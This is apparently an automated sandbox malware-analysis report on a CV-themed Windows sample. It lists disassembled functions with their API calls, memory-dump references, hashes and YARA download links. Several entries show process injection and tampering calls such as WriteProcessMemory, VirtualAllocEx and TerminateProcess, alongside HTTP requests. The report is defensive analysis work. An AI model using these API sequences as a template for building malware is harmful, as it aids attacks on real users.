                                                                  • Instruction Fuzzy Hash: 8101A436102311ABDB151B94EC4AEEB77EDFF89702B040469F503D78A0DF789800DB50
                                                                  Function 00B67BF7 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00B67C07
                                                                  • SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00B67C1D
                                                                  • GetWindowThreadProcessId.USER32(?,?), ref: 00B67C2C
                                                                  • OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00B67C3B
                                                                  • TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00B67C45
                                                                  • CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00B67C4C
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
                                                                  • String ID:
                                                                  • API String ID: 839392675-0
                                                                  • Opcode ID: ed27ea2f80b8bdb42de41cff254b32624fe29f68de70be04355b4a9792fcec96
                                                                  • Instruction ID: 446e8485106415e95e1d89360e2138e855b06ffee78d39a09375691924c8defa
                                                                  • Opcode Fuzzy Hash: ed27ea2f80b8bdb42de41cff254b32624fe29f68de70be04355b4a9792fcec96
                                                                  • Instruction Fuzzy Hash: B6F03A72241158BBE7215B569C0EEEF7BBCEFC7B15F040058FA02A2451DBA05A41C6B5
                                                                  Function 00B69A20 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • InterlockedExchange.KERNEL32(?,?), ref: 00B69A33
                                                                  • EnterCriticalSection.KERNEL32(?,?,?,?,00B95DEE,?,?,?,?,?,00B2ED63), ref: 00B69A44
                                                                  • TerminateThread.KERNEL32(?,000001F6,?,?,?,00B95DEE,?,?,?,?,?,00B2ED63), ref: 00B69A51
                                                                  • WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,00B95DEE,?,?,?,?,?,00B2ED63), ref: 00B69A5E
                                                                    • Part of subcall function 00B693D1: CloseHandle.KERNEL32(?,?,00B69A6B,?,?,?,00B95DEE,?,?,?,?,?,00B2ED63), ref: 00B693DB
                                                                  • InterlockedExchange.KERNEL32(?,000001F6), ref: 00B69A71
                                                                  • LeaveCriticalSection.KERNEL32(?,?,?,?,00B95DEE,?,?,?,?,?,00B2ED63), ref: 00B69A78
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
                                                                  • String ID:
                                                                  • API String ID: 3495660284-0
                                                                  • Opcode ID: b494b99de5c43239215dd2e824b43c507a2fb02127c29ff455ae2882f0082724
                                                                  • Instruction ID: edb813d91c00db7560e3d0e0a1bbd46069cea67c9df8729ca1cc67a7a7aa9951
                                                                  • Opcode Fuzzy Hash: b494b99de5c43239215dd2e824b43c507a2fb02127c29ff455ae2882f0082724
                                                                  • Instruction Fuzzy Hash: 46F08276141311ABD7111BA4EC8EEEB77B9FF86702B140465F503968A0DF799801DB50
                                                                  Function 00B21CDE Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 250COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B3F4EA: std::exception::exception.LIBCMT ref: 00B3F51E
                                                                    • Part of subcall function 00B3F4EA: __CxxThrowException@8.LIBCMT ref: 00B3F533
                                                                  • __swprintf.LIBCMT ref: 00B21EA6
                                                                  Strings
                                                                  • \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00B21D49
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Exception@8Throw__swprintfstd::exception::exception
                                                                  • String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
                                                                  • API String ID: 2125237772-557222456
                                                                  • Opcode ID: 37f138c06c0ac83907dc6c79c2391bdcaf28c1415c2efd7025a9a873def7af82
                                                                  • Instruction ID: 87f56e9f62b0b44ab756b63559da42b7385d8d8b2d49b2d2ab374866a2fb47ca
                                                                  • Opcode Fuzzy Hash: 37f138c06c0ac83907dc6c79c2391bdcaf28c1415c2efd7025a9a873def7af82
                                                                  • Instruction Fuzzy Hash: BD917E715042119FCB24EF28D896C6EBBE4FF95700F0149ADF899972A1DB70EE04CB52
                                                                  Function 00B7AFE0 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 229COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • VariantInit.OLEAUT32(?), ref: 00B7B006
                                                                  • CharUpperBuffW.USER32(?,?), ref: 00B7B115
                                                                  • VariantClear.OLEAUT32(?), ref: 00B7B298
                                                                    • Part of subcall function 00B69DC5: VariantInit.OLEAUT32(00000000), ref: 00B69E05
                                                                    • Part of subcall function 00B69DC5: VariantCopy.OLEAUT32(?,?), ref: 00B69E0E
                                                                    • Part of subcall function 00B69DC5: VariantClear.OLEAUT32(?), ref: 00B69E1A
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Variant$ClearInit$BuffCharCopyUpper
                                                                  • String ID: AUTOIT.ERROR$Incorrect Parameter format
                                                                  • API String ID: 4237274167-1221869570
                                                                  • Opcode ID: b20b9c09d717027972a300199775f7c4ca1bafa5a50232d6b40384ad7b0a19f4
                                                                  • Instruction ID: 0b315fc0a855cf94a33f2e00230ad1e629d81543f9087b5bcf7579c723ef3652
                                                                  • Opcode Fuzzy Hash: b20b9c09d717027972a300199775f7c4ca1bafa5a50232d6b40384ad7b0a19f4
                                                                  • Instruction Fuzzy Hash: 43915C706083059FCB10DF24D495E5ABBF4EF89704F1488ADF89A9B362DB31E945CB52
                                                                  Function 00B65347 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 180windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B3C6F4: _wcscpy.LIBCMT ref: 00B3C717
                                                                  • _memset.LIBCMT ref: 00B65438
                                                                  • GetMenuItemInfoW.USER32(?), ref: 00B65467
                                                                  • SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00B65513
                                                                  • SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00B6553D
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: ItemMenu$Info$Default_memset_wcscpy
                                                                  • String ID: 0
                                                                  • API String ID: 4152858687-4108050209
                                                                  • Opcode ID: 2ed79dbec8165efe5a23919ba458d6dde0551dd30595f7056044d7fc8c60a8e6
                                                                  • Instruction ID: 3f5a8c2632b1a75236d2f630306c64712f2968773c236c7c43c4f02f4a736507
                                                                  • Opcode Fuzzy Hash: 2ed79dbec8165efe5a23919ba458d6dde0551dd30595f7056044d7fc8c60a8e6
                                                                  • Instruction Fuzzy Hash: 675126726047019BD7249F28C88576FB7E8EFA5710F140AAEF896D3290DB78CD548B52
                                                                  Function 00B8C4D7 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 137COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetWindowRect.USER32(0127E3C0,?), ref: 00B8C544
                                                                  • ScreenToClient.USER32(?,00000002), ref: 00B8C574
                                                                  • MoveWindow.USER32(00000002,?,?,?,000000FF,00000001,?,00000002,?,?,?,00000002,?,?), ref: 00B8C5DA
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Window$ClientMoveRectScreen
                                                                  • String ID: @U=u
                                                                  • API String ID: 3880355969-2594219639
                                                                  • Opcode ID: f2560073641c8ddb59f38bd9ba2ba6c8465fa3b57e0afd60913c8dfd8b982952
                                                                  • Instruction ID: 5e8d3e868c7d571e2b20b191a5684e170776a644c92f431800e708a0646b0042
                                                                  • Opcode Fuzzy Hash: f2560073641c8ddb59f38bd9ba2ba6c8465fa3b57e0afd60913c8dfd8b982952
                                                                  • Instruction Fuzzy Hash: 45513FB5900205EFCF10EF68C8819AE7BF5EF55320F2086A9F9559B2A1D730ED41CBA0
                                                                  Function 00B5C410 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 130windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 00B5C462
                                                                  • __itow.LIBCMT ref: 00B5C49C
                                                                    • Part of subcall function 00B5C6E8: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 00B5C753
                                                                  • SendMessageW.USER32(?,0000110A,00000001,?), ref: 00B5C505
                                                                  • __itow.LIBCMT ref: 00B5C55A
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend$__itow
                                                                  • String ID: @U=u
                                                                  • API String ID: 3379773720-2594219639
                                                                  • Opcode ID: 56c40c491b7b3d03ffd73f06f1209d44d50f97a8f827cd898c891107c25c33b4
                                                                  • Instruction ID: b184a0725f9dfa4f16b4f36df11cb712c593e9fe2c6e4d6b82d99dbba0e868fa
                                                                  • Opcode Fuzzy Hash: 56c40c491b7b3d03ffd73f06f1209d44d50f97a8f827cd898c891107c25c33b4
                                                                  • Instruction Fuzzy Hash: 3B419271A00318AFDF21EF54D856FEE7BF6AF59701F0000D9F909A7291DB709A498BA1
                                                                  Function 00B5C189 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 121windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B6430B: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00B5BC08,?,?,00000034,00000800,?,00000034), ref: 00B64335
                                                                  • SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00B5C1D3
                                                                    • Part of subcall function 00B642D6: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00B5BC37,?,?,00000800,?,00001073,00000000,?,?), ref: 00B64300
                                                                    • Part of subcall function 00B6422F: GetWindowThreadProcessId.USER32(?,?), ref: 00B6425A
                                                                    • Part of subcall function 00B6422F: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00B5BBCC,00000034,?,?,00001004,00000000,00000000), ref: 00B6426A
                                                                    • Part of subcall function 00B6422F: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00B5BBCC,00000034,?,?,00001004,00000000,00000000), ref: 00B64280
                                                                  • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00B5C240
                                                                  • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00B5C28D
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
                                                                  • String ID: @$@U=u
                                                                  • API String ID: 4150878124-826235744
                                                                  • Opcode ID: e182b1c24e15930ec0cfd3cc2bdf67f7101d7104a8cbc7d7ca21d6403c941c15
                                                                  • Instruction ID: 8e36aa2dd8edceac4b2bfd9bba8db028ac6af16bcfc157ecd214610ebd18a86f
                                                                  • Opcode Fuzzy Hash: e182b1c24e15930ec0cfd3cc2bdf67f7101d7104a8cbc7d7ca21d6403c941c15
                                                                  • Instruction Fuzzy Hash: 49411976900218BEDB11DBA4CD81AEEBBB9EB09700F104095FA45B7181DB756E49CB61
                                                                  Function 00B60213 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00B6027B
                                                                  • SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 00B602B1
                                                                  • GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 00B602C2
                                                                  • SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00B60344
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: ErrorMode$AddressCreateInstanceProc
                                                                  • String ID: DllGetClassObject
                                                                  • API String ID: 753597075-1075368562
                                                                  • Opcode ID: 7cb22c6ce4f8f6869d36d983d619c008f08b94d1dbe533a252959b29a6b5bc09
                                                                  • Instruction ID: cea614d2018c87962ee35680d5728183b34d6910ef3999ed4e5ec965b05b913d
                                                                  • Opcode Fuzzy Hash: 7cb22c6ce4f8f6869d36d983d619c008f08b94d1dbe533a252959b29a6b5bc09
                                                                  • Instruction Fuzzy Hash: 52417A72610204AFDB05EF55C885B9B7BF9EF49311F1480E9E9099F306DBB8D944CBA4
                                                                  Function 00B65007 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • _memset.LIBCMT ref: 00B65075
                                                                  • GetMenuItemInfoW.USER32 ref: 00B65091
                                                                  • DeleteMenu.USER32(00000004,00000007,00000000), ref: 00B650D7
                                                                  • DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00BE1708,00000000), ref: 00B65120
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Menu$Delete$InfoItem_memset
                                                                  • String ID: 0
                                                                  • API String ID: 1173514356-4108050209
                                                                  • Opcode ID: a1ab251e6a69c895a7689daefd560586f731833cbf5a508d5b9f730327d2c87a
                                                                  • Instruction ID: e9c63954a62fc0ce26398737dce441cd35870c8ef90b7b97f8fc14323c3b3da7
                                                                  • Opcode Fuzzy Hash: a1ab251e6a69c895a7689daefd560586f731833cbf5a508d5b9f730327d2c87a
                                                                  • Instruction Fuzzy Hash: ED41D2712047019FD730DF28D881F6AB7E4EF86314F044A9EF896A7291DB34E914CB62
                                                                  Function 00B8B544 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 108COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00B8B5D1
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: InvalidateRect
                                                                  • String ID: @U=u
                                                                  • API String ID: 634782764-2594219639
                                                                  • Opcode ID: 3616623728a6b145075295337237c88ef605a65e695fe4619741e7b4429c5b44
                                                                  • Instruction ID: 10cf276283b03e162ba14f669617c8628728fe0b86c0e82a42899132fddc5897
                                                                  • Opcode Fuzzy Hash: 3616623728a6b145075295337237c88ef605a65e695fe4619741e7b4429c5b44
                                                                  • Instruction Fuzzy Hash: 22319C74601204AFEF20AE28CC95FE8BBE5EB16310F644595FA52D62F1EB30A940DB55
                                                                  Function 00B80567 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 100COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • CharLowerBuffW.USER32(?,?,?,?), ref: 00B80587
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: BuffCharLower
                                                                  • String ID: cdecl$none$stdcall$winapi
                                                                  • API String ID: 2358735015-567219261
                                                                  • Opcode ID: b7e61b6ff41f0f28ecb6e8f11bcc2103c51f022050f20bff3f06bc4c03b7dc8b
                                                                  • Instruction ID: 4c65cd192564fe13c5daefff9c2b5dc04d148338c91eaadc8e720aae7bb6e005
                                                                  • Opcode Fuzzy Hash: b7e61b6ff41f0f28ecb6e8f11bcc2103c51f022050f20bff3f06bc4c03b7dc8b
                                                                  • Instruction Fuzzy Hash: D931A131510216AFCF00FF58C9419EEB3F4FF54350B108AAAE82AA76E1EB71E915CB50
                                                                  Function 00B743E2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 85networkCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00B74401
                                                                  • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00B74427
                                                                  • HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00B74457
                                                                  • InternetCloseHandle.WININET(00000000), ref: 00B7449E
                                                                    • Part of subcall function 00B75052: GetLastError.KERNEL32(?,?,00B743CC,00000000,00000000,00000001), ref: 00B75067
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: HttpInternet$CloseErrorHandleInfoLastOpenQueryRequestSend
                                                                  • String ID:
                                                                  • API String ID: 1951874230-3916222277
                                                                  • Opcode ID: 48361d6137f74bbfd74de63de04b4a7426580673a2025723dae0fdf1fc3b0ffa
                                                                  • Instruction ID: 493f98c2e0e1fbad464c7202e11389c8bce3e0c861282009772644f427f90915
                                                                  • Opcode Fuzzy Hash: 48361d6137f74bbfd74de63de04b4a7426580673a2025723dae0fdf1fc3b0ffa
                                                                  • Instruction Fuzzy Hash: D4217CB2600208BEE7119B648C85EBFB6ECEB49759F10C45AF11AA2240EF748D05A771
                                                                  Function 00B890E2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B3D17C: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00B3D1BA
                                                                    • Part of subcall function 00B3D17C: GetStockObject.GDI32(00000011), ref: 00B3D1CE
                                                                    • Part of subcall function 00B3D17C: SendMessageW.USER32(00000000,00000030,00000000), ref: 00B3D1D8
                                                                  • SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00B8915C
                                                                  • LoadLibraryW.KERNEL32(?), ref: 00B89163
                                                                  • SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00B89178
                                                                  • DestroyWindow.USER32(?), ref: 00B89180
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
